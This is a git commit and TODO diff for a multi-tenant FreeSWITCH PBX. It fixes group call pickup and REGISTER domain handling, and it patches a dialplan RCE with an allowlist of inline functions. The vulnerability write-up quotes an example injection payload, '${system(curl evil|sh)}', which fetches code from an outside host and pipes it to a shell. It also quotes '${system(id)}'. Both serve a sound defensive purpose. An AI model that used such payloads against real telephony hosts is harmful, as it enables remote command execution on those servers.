fix(telefonia): pickup de grupo funcionando de verdade + RCE no dialplan + domínio real no REGISTER

Pedido explícito do usuário: "testa criando um ramal com callgroup e captura
chamada de outro ramal". O teste com softphones reais (não só leitura de
código) achou 3 problemas que a fase anterior tinha dado como resolvidos:

1. A variable de call group estava com o nome errado (`call-group`, convenção
   do Asterisk) e a suposição de que o FreeSWITCH fazia pickup automático só
   com ela era falsa. Corrigido pro nome certo (`callgroup`) e pro mecanismo
   real (fork de leg `pickup/<grupo>` no bridge + extension `*8` chamando a
   application `pickup`, lendo o grupo via `${user_data(...)}`).

2. Implementando o mecanismo acima, achada uma vulnerabilidade real de RCE: o
   allowlist de `application` no dialplan nunca bloqueava `${system(...)}`
   embutido dentro do `data` de qualquer application já permitida —
   `mod_commands` está carregado, então isso era execução de comando
   arbitrário no host do FreeSWITCH pra qualquer Tenant Admin. Corrigido com
   um segundo allowlist (`ALLOWED_INLINE_API_FUNCTIONS` +
   `IsSafeDialplanData`) que só libera funções de leitura seguras
   (`user_data`, `escape`, `url_encode`, `url_decode`, `regex`, `strftime`).

3. Registrar um softphone de verdade contra o domínio do tenant (não só curl
   no mod_xml_curl) revelava 403 Forbidden: o sofia profile `internal` tinha
   `force-register-domain`/`force-subscription-domain`/
   `force-register-db-domain` fixados no domínio antigo, ignorando o domínio
   de cada tenant. Corrigido no Dockerfile do FreeSWITCH (imagem
   reconstruída, não só patch ao vivo).

Testado ponta a ponta com 3 softphones reais (linphone-cli) em containers na
mesma rede Docker: ramal do mesmo grupo captura de verdade uma ligação
tocando em outro ramal via *8 (canais confirmados bridged via `show
channels`); ramal de grupo diferente tenta e falha. RCE confirmado bloqueado
via curl (`${system(id)}` → 400) sem quebrar `${user_data(...)}` legítimo.

TODO.md (PHASE 53) e docs/EXTENSIONS.md atualizados corrigindo as afirmações
incompletas da fase anterior ("nenhuma mudança de infra necessária").

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01BFaBaBSQGhyXGEgtTYZGV8
This commit is contained in:
2026-08-30 15:24:58 -03:00
parent 56f73bdb8f
commit af46739af2
7 changed files with 276 additions and 29 deletions

112
TODO.md
View File

@@ -1836,12 +1836,14 @@ usuário: `Ctrl+F5` depois de um tempo logado quebrava com 401 cru)
só pelo domínio (`Tenant.findFirst({ telephonyDomain: domain })`),
então com todo tenant no mesmo domínio o isolamento de PABX (ramais,
call groups, filas, IVR) não tinha como funcionar de verdade.
Investigado direto no container: o sofia profile `internal`
(vanilla, nunca sobrescrito) já vem com
`<domain name="all" alias="true" parse="false"/>` — o FreeSWITCH
SEMPRE aceitou domínio dinâmico por REGISTER, o bug era só a
aplicação gravando o mesmo valor pra todo mundo. Nenhuma mudança de
infra (Dockerfile/sofia profile) foi necessária
**Correção**: esta entrada originalmente dizia "nenhuma mudança de
infra foi necessária", baseado só em testar o `mod_xml_curl` via
curl direto (que funcionava). Isso era **incompleto** — só um teste
de REGISTER de verdade (PHASE 53, pedido explícito do usuário) achou
que o sofia profile `internal` TAMBÉM tinha `force-register-domain`
fixo em `$${domain}`, ignorando o domínio do REGISTER e sempre
resolvendo contra "b2bcall.local" (403 Forbidden pra qualquer
domínio real de tenant). Ver PHASE 53 pelo fix completo
- [x] `Tenant.telephonyDomain` agora é obrigatório e `@unique` (migration
`20260830140000_tenant_domain_and_call_group`, com backfill:
tenants existentes ganharam `{code}.b2bcall.net` automaticamente,
@@ -1852,10 +1854,14 @@ usuário: `Ctrl+F5` depois de um tempo logado quebrava com 401 cru)
- [x] `Extension.callGroup` (novo, nullable) — grupo de captura (secao
178): ramais no mesmo grupo podem atender a chamada um do outro
(`*8`/group pickup), ramais fora do grupo não. Vira a variable
`call-group` no directory XML (`packages/telephony`); a extensão de
dialplan do `*8` em si é uma regra a configurar em Telefonia >
Dialplan (já existe o editor), não precisava de código novo — só do
dado. Editável na criação e depois (`PATCH /extensions/:id`, novo)
`callgroup` no directory XML (**correção**: a versão inicial desta
entrada dizia `call-group`, com hífen — nome errado, copiado de
convenção do Asterisk; FreeSWITCH usa `callgroup` sem hífen, lido
via `${user_data(<ext>@<domain> var callgroup)}`. A confusão de
mecanismo — achando que a variable sozinha já fazia o pickup
automático — também estava errada; ver PHASE 53 pelo mecanismo real
e o dialplan necessário). Editável na criação e depois
(`PATCH /extensions/:id`, novo)
- [x] `POST /extensions/:id/reveal-password` (novo) — achado real: "show
once" puro não funciona no dia a dia de um PABX (reconfigurar um
telefone físico ou softphone precisa da senha de novo; forçar reset
@@ -1877,6 +1883,92 @@ usuário: `Ctrl+F5` depois de um tempo logado quebrava com 401 cru)
ramal em domínios diferentes NUNCA se confunde (isolamento
cross-tenant confirmado de verdade, não só por leitura de código)
## PHASE 53 — Teste real de captura de chamada (pedido explícito do
usuário: "testa criando um ramal com callgroup e captura chamada de outro
ramal") — achou 2 problemas reais que a PHASE 52 tinha dado como
resolvidos sem nunca registrar um SIP de verdade
- [x] **achado real #1 (crítico, segurança)**, achado pesquisando o
mecanismo certo de pickup antes de implementar o dialplan: o
allowlist de `application` (`ALLOWED_DIALPLAN_APPLICATIONS`) nunca
bloqueava `${nome(args)}` (chamada de API do FreeSWITCH) embutida
dentro do `data` de uma application já permitida como `set`/
`export`/`playback`. FreeSWITCH expande isso em tempo de chamada, e
`mod_commands` (carregado nesta implantação) registra as APIs
`system`/`bg_system` — **RCE completo no host do FreeSWITCH**,
alcançável por qualquer Tenant Admin com `freeswitch.configure`
(ex.: `{"application":"set","data":"x=${system(curl evil|sh)}"}`).
Corrigido: `ALLOWED_INLINE_API_FUNCTIONS` (novo,
`packages/telephony/src/dialplan-xml.ts`) +
`findDisallowedInlineFunctionCalls()` + `IsSafeDialplanData` (novo,
`apps/api/src/dialplan/dto/safe-dialplan-data.validator.ts`,
aplicado em `ActionDto.data`) bloqueiam qualquer `${nome(...)}` fora
de um allowlist de leitura (`user_data`, `escape`, `url_encode`,
`url_decode`, `regex`, `strftime`) — `${variavel}` sem parênteses
nunca é bloqueado. Testado via curl: `${system(id)}` → 400 claro;
`${user_data(...)}` (usado pelo pickup) → aceito normalmente
- [x] **achado real #2 (o mecanismo de pickup em si estava errado)**:
pesquisado contra a documentação oficial do FreeSWITCH antes de
escrever qualquer dialplan — a variable `callgroup` sozinha NÃO faz
pickup automático nenhum. O mecanismo de verdade: (1) o `bridge`
que atende a ligação pro ramal precisa forkar um leg extra
`pickup/<chave>` (registra a chamada num hash em memória, chave =
grupo), usando
`${user_data(${destination_number}@${domain_name} var callgroup)}`
pra descobrir o grupo do CALLADO; (2) uma extension de feature code
(`*8`) separada chama a application `pickup` (nova no allowlist)
com o grupo do PRÓPRIO CALLADOR, via
`${user_data(${caller_id_number}@${domain_name} var callgroup)}`.
Reescrita a regra "Discagem interna" do tenant Acme (a versão
anterior nem tinha `user/`/`@domain` corretos no `bridge` — nunca
teria funcionado numa chamada real) e criada a nova regra `*8`
"Capturar chamada do grupo"
- [x] **achado real #3 (infra, não só aplicação)**: registrando um
softphone de teste de verdade contra `acme.b2bcall.net`, o REGISTER
batia 403 Forbidden mesmo com tudo certo na aplicação — o profile
`internal` vanilla tem `force-register-domain`/
`force-subscription-domain`/`force-register-db-domain` fixados em
`$${domain}` ("b2bcall.local"), ignorando completamente o domínio
do REGISTER (`<domain name="all" alias="true".../>`, também
vanilla, só afeta contexto de dialplan, não esta checagem). Isso
**contradiz a PHASE 52**, que tinha concluído — só com teste via
curl direto no `mod_xml_curl`, sem nunca registrar um SIP de
verdade — que nenhuma mudança de infra seria necessária. Corrigido
no `infrastructure/freeswitch/Dockerfile` com mais um `sed` (mesmo
padrão do `$${domain}` já existente) removendo os 3 params —
procedimento padrão documentado do próprio FreeSWITCH pra
multi-domínio. Imagem reconstruída e o container recriado (não só
patch ao vivo) — testado de novo do zero pra confirmar que o fix
sobrevive a rebuild
- [x] **Teste real ponta a ponta, com SIP de verdade** (não só leitura de
XML): instalado `linphone-cli` (softphone de console) em
containers Docker descartáveis na mesma rede (`b2bcall_default`) —
as portas SIP não são publicadas no host de propósito (secao 184),
então um softphone real só alcança o FreeSWITCH de dentro da rede
Docker. 3 ramais criados no grupo "vendas" (2001/2002/2003) + 1 no
grupo "suporte" (2004), todos registrados de verdade
(`show registrations` no FreeSWITCH confirma). Cenário: 2002 liga
pra 2001 (toca, registra o `pickup/vendas`) → 2003 (mesmo grupo)
disca `*8` → **capturado de verdade**: `show channels` confirma
2002 e 2003 bridged no mesmo `call_uuid`, `callstate ACTIVE`, codec
negociado (PCMU) nos dois lados, e o canal de 2001 desaparece (a
ligação foi roubada antes dele atender). Teste negativo: 2004
(grupo "suporte") tenta `*8` na mesma ligação → falha (nenhum canal
capturado, 2001 continua tocando) — confirma que grupos são
isolados de verdade, não só "qualquer um captura qualquer coisa"
- [x] achado operacional, sem relação com telefonia: o disco da VM
chegou a **100% de uso (13MB livres)** no meio deste teste — os
múltiplos rebuilds de imagem Docker desta sessão acumularam ~19GB
em cache do BuildKit nunca limpo (`docker builder du` confirmou).
Risco real pro ambiente inteiro (Postgres podia falhar escrita de
WAL a qualquer momento). Corrigido com `docker image prune -a -f` +
`docker builder prune -a -f` (reversível — só cache de build,
nenhum dado de verdade) — liberou ~19GB, disco voltou a 41% de uso.
Vale rodar de novo se o disco apertar depois de mais rebuilds
- [x] Containers/ramais/tenant de teste (2001-2004, `testedomain1`)
removidos ao final; as 2 regras de dialplan reais do tenant Acme
(Discagem interna corrigida + `*8`) foram mantidas — são
configuração funcional de verdade, não lixo de teste
---
## Riscos conhecidos